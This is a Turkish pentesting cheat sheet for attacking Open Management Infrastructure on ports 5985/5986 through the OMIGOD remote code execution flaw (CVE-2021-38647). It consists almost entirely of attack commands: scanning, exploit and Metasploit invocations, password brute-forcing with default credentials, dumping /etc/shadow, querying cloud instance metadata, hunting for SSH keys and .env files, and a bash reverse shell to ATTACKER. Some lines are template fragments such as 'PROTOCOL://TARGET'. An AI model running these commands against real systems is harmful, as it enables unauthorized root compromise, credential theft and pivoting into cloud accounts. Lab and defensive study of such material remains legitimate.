5985,5986 - Pentesting OMI

OMI rce

Open Management Infrastructure Linux/Azure agent’tır. CVE-2021-38647 (OMIGOD) unauth RCE ile bilinir. Hedef lab IP’si üzerinde komutları 5985 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 5985/5986/omiport doğrula.

2. OMI fingerprint.

3. OMIGOD PoC.

4. Root shell sonrası loot.

Keşif

nmap -Pn -sV -p5985,5986,1270 TARGET

curl -vk https://TARGET:5986/wsman

nuclei -u https://TARGET -tags omi

OMIGOD

python3 omigod.py -t TARGET -c id

msfconsole -q -x 'use exploit/linux/local/cve_2021_38647_omigod; set RHOSTS TARGET; run'

searchsploit omigod

Post

id; cat /etc/shadow | head

curl -s http://169.254.169.254/metadata/instance?api-version=2021-02-01 -H Metadata:true

Derin enum

,5986 - OMI için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p5985,5986 TARGET

nmap -Pn -p5985 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:5985' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',5985));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → ,5986 - OMI

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 5985 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 5985

nmap -p5985 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit OMI

msfconsole -q -x 'search OMI; exit'

nuclei -u https://TARGET:5985 -t cves/ -silent -severity || true

nuclei -u http://TARGET:5985 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 5985

printf '
' | timeout 3 nc -nv TARGET 5985

curl -vk --http1.0 http://TARGET:5985/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

OMI expose → OMIGOD → root → cloud metadata